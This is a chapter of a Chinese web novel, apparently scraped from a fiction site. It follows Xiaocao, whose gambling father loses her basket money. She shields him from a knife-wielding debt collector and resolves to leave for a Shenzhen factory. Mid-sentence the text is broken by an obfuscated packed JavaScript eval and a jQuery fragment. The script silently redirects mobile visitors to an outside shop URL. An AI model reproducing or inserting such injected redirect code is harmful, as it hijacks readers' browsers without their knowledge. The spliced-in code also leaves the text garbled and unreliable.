直到那群人的脚步声彻底消失在村口，那口靠在角落的大水缸里才传来一阵窸窣声。
田耗子像条湿漉漉的蛆一样，从缸里慢慢爬了出来。他浑身沾满了蜘蛛网和灰尘，老脸涨得通红，眼神躲闪，不敢看小草。
“走了……都走了？”他小声嘟囔着，拍了拍身上的灰。
小草静静地看着他。
这就是她的父亲，一个只知道吃喝赌酒的一个男人，一个在女儿受辱时躲进缸里的男人。
那一刻，她感到的不是恨，而是一种深不见底的悲凉。
就是这样一个男人，她出生便见他打牌赌博酒气萦身，他怪妈妈没有生出个儿子传宗接代，怪她不是个男孩要花自己的钱。于是妈妈不仅要干农活挣钱养家，还要继续备孕生孩子。
六年，打了三个妹妹，终于迎来了一个小旺，只不过他口口声声说“最重要的事”——生儿子，也没影响他去打牌。
他回家时是凌晨三点，不是因为惦念着自己的独自在家的老婆和孩子，也不是因为惦念着刚出生的男婴，只是因为输光了身上所有钱。
妈妈难产去世，他回来时只见到浑身冰凉的尸体和在襁褓中哭泣的婴儿，那天他痛哭流涕，发誓此生再不赌牌不饮酒。
只不过没过三天，他就又开始活跃在各大棋牌室麻将馆。留给七岁的她，是一个嗷嗷待哺的婴儿和四壁萧条的家。
“爹，这就是你给我的家吗？”
田耗子惯会看人脸色，见她面色难看，支支吾吾地没接话。
他忽而一拍大腿，老泪横流：“小草啊，爹也是没办法啊！那些人手里有刀啊！爹要是死了，谁还惦记你那个走丢的亲兄弟小旺啊……”
又是小旺。
这个名字像是一个紧箍咒，伴随了小草的前半生。
每当田耗子闯了祸、欠了债，他总会拿出小旺来当挡箭牌。他知道，这是小草唯一的死穴。
可是他忘记了，小旺是他的孩子，不是田小草的孩子。
夜深了。
昏暗的油灯下，小草盘腿坐在院子里。
她面前堆着一捆新鲜的青竹，那是她下午去后山亲手砍回来的。
她要编竹篓，一个竹篓在集市上能卖几毛钱，编上十个，就能换回一袋维持生存的陈米。
竹篾很锋利，每一道划过指尖的声音，在寂静的夜里都显得格外惊心。
小草熟练地分篾、起底、收口。她的手早已布满了老茧，却依然挡不住那些细小的竹刺扎进肉里。
每扎一下，她的心就颤一下。
她本该是麻木的，只是她莫名想起了李家大院，想起那个骄傲如凤凰的喜凤。
喜凤曾嘲笑她的手像枯树皮，她总笑笑把手藏到身后。
此时此刻，她真的希望喜凤能看见这双手，看见她是如何在这黑暗里为生存苦苦挣扎，也想听见她心疼的安慰，哪怕是傲娇的，尖酸刺耳的，甚至是令人难堪的。
那一夜，小草编了五个竹篓。
天快亮时，她的指尖已经血迹斑斑，每一个关节都僵硬得无法打弯。
“爹，天亮了你去集市，把这几个篓子卖了，”小草把竹篓整齐地码在门口，声音里透着彻骨的疲惫，说完又觉得不够，补了一句，“买袋米回来。如果有剩下的钱，别动。”
田耗子满口答应，胸脯拍得啪啪响，“小草你放心，爹一定买最精的米回来，咱爷俩好好吃一顿！”
然而，希望这种东西，在田耗子身上从来就没活过。
傍晚时分，田耗子回来了。
他没有带回米，也没有带回剩下的钱。他浑身酒气，踉踉跄跄地推开门，老脸上挂着一种由于酒精麻痹而产生的极度虚假的亢奋。
看他这样，发生了什么小草心里了然，只是她不甘心，她不死心不死心地问了一句，“爹……米呢？”
小草站在院子里，声音在发抖。
“小草啊，你听爹说……爹本来想去买米的，可半路遇上王二麻子，他说能带爹把欠的债全赢回来……”田耗子蹲在地上，抱住头，声音由亢奋转为哀号，“谁知道……谁知道那帮孙子出老千啊！钱全没了……全没了！”
小草整个人僵在原地。
五个竹篓，其实不值什么钱，但那是她熬了一整夜，用指尖的鲜血和十指连心的痛换来的。那是一袋子米钱，是他们活命的希望，可惜就这样被这个男人送进了赌场的无底洞。
“你走吧。”小草轻声说，她连发火的力气都没有了。
“小草啊！你不能不管爹啊！爹也是为了找小旺啊……”田耗子又开始了那套驾轻就熟的哭天抢地，“要是小旺在这儿，他肯定不会看着他爹饿死的……”
“闭嘴！”
小草猛地转过头，眼神里第一次露出了狰狞的恨意，“别再提小旺！你不配提他！”
就在这一片狼藉中，赖三带着人又回来了。
“哐当”一声巨响，本就歪斜的院门被一股蛮力踹开，带起了一阵让人窒息的土烟。
赖三带着两个满脸横肉的打手，像是一群从阴沟里爬出来的恶鬼，再次踏进了这个支离破碎的院落。夕阳照在赖三那张横肉颤动的脸上，更显得狰狞可怖。
这一次，他手里没有拿那些唬人的木棍，而是亮出了白晃晃的短刀。
那刀刃在暮色中闪烁着凛冽的寒光，像是一条吐信的毒蛇，瞬间锁定了瘫在堂屋门口、满身酒气的田耗子。
“期限到了，田耗子。老子说一不二，没钱还债，就拿手来抵！”赖三的声音阴沉得可怕，像是在冰水里浸过，“既然你这双手管不住想赌，那老子今天就替你剁了它，也算全了咱们的交情。”
他随手一挥，两个随从像老鹰捉小鸡一般，猛地冲上去将田耗子从地上拖了起来。
田耗子吓得酒醒了大半。
酒精带来的那点虚假的狂妄像潮水般退去，只剩下骨子里的懦弱。
他尖叫了一声，老脸涨成了紫红色，就在随从的手要扣住他手腕的一刹那，他突然眼珠一翻，整个人像一袋烂棉花一样瘫了下去，呼吸短促，双目紧闭。
“装死？”赖三冷笑一声，一脚踩在田耗子的胸口上，“田耗子，你这招在赌场玩玩还行。今天，你就是真死了，我也得把你的尸体剁开来抵账！”
他俯下身，一把扣住田耗子的左手，粗鲁地按在布满裂纹的门槛上。
短刀高高举起，刀尖对准了那指根处，带起一阵划破空气的啸叫。
“住手！”
小草猛地冲了过去，她不知道哪来的力气，一头撞开了那个按住田耗子的壮汉，拦住了下扎的匕首，“你们要砍他的手，先杀了我。”
小草的声音极其平静，平静得让人感到毛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301553|198649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骨悚然。
匕首的锋刃已经切入了她的皮肤，她的手心流下了细微的，却极度鲜艳的红。
赖三愣住了。
他见过求饶的，见过跑路的，却没见过像田小草这样，连命都不要、只为了护住这么一个烂人的。
“田小草，你疯了？”赖三的声音里带了一丝连他自己都没察觉的颤抖，“就为了这么一个泼皮无赖的爹，你竟然敢空手接白刃，你不怕死啊！”
小草往前走了一步。
她没有痛哭，也不急着包扎，她只摊开手，手心的血流得更急，在夕阳下闪着一种近乎诡异的光。
“你们要砍他的手，先杀了我。”
小草的声音极其平静，甚至带着一种解脱般的温柔。那种平静，在赖三听来，比凄厉的惨叫还要让他汗毛倒竖。
赖三盯着小草手心的血，又看了看她那双视死如归的眼。他能感觉得到，这个女人不是在吓唬他，她是真的想死。
不能真闹出人命来。
赖三他收回了刀，骂骂咧咧地往地上啐了一口唾沫，“成，田小草，你有种！老子不跟疯婆子玩命。再给你三天！三天后再交不出钱，我就把你这老宅子烧了，把你爹拉去黑煤窑抵债！我们走！”
那群人带着一阵叫骂声消失在暮色中。
直到院子里重归寂静，田耗子才哆哆嗦嗦地张开一只眼。见人走了，他抹了一把脸上的冷汗，连滚带爬地爬起来，伸出那双带着酒臭气的手想去拉小草。
“哎哟，小草啊，我的亲闺女……爹就知道你不会不管爹的……”
小草一把甩开了他的手。那力气极大，带着她压抑了半生的绝望。
她背过身去，眼泪，终于在这一刻，大颗大颗地砸进了干涸的土里。
她救了他。可她恨他，更恨这片生养她、却又不断吮吸她血肉的土地。
就在这时，村口的电线杆上，那只生了锈的红喇叭突然发出了几声刺耳的电流声。
“通知，通知！深圳纺织厂来咱村招工了，待遇从优，管吃管住，还可以带家属……有意向的赶紧来大队部报名……”
深圳。
这个词在小草听来，像是一个来自另一个世界的呼唤。陌生、遥远，却散发着一种诱人的光芒。
她低头看着自己残破的家，看着这个已经彻底烂掉的村子。
她知道，如果留下，她会被这片土地、被这个父亲彻底溺死。她会变成和她母亲一样，一生都在操劳与被背叛中度过，最后化为这田野里的一抔黄土。
“爹，收东西。咱去深圳。”小草抹干眼泪，语气里多了一种前所未有的坚决。
还债的三日期限转眼就到。
那是一个极其寒冷的清晨，大雾锁住了整座李家村。
夕阳还没升起，只有一抹惨淡的晨光打在老槐树梢。小草的身影在雾气中显得格外单薄。
田耗子走在后面，手里还拎着半个凉馍，嘴里依旧在喋喋不休地抱怨着：“小草啊，咱真走啊？深圳那地界听说是要吃人的……咱家这地虽然薄，可到底稳当……”
小草没理他。她站在通往村外的十字路口，那是通往未知的方向，也将是决定她一生走向的转折点。
小草回过头，她没有看自己那座破旧的老宅，而是隔着浓重的晨雾，遥望那个让她魂牵梦萦却又伤痕累累的李家大院。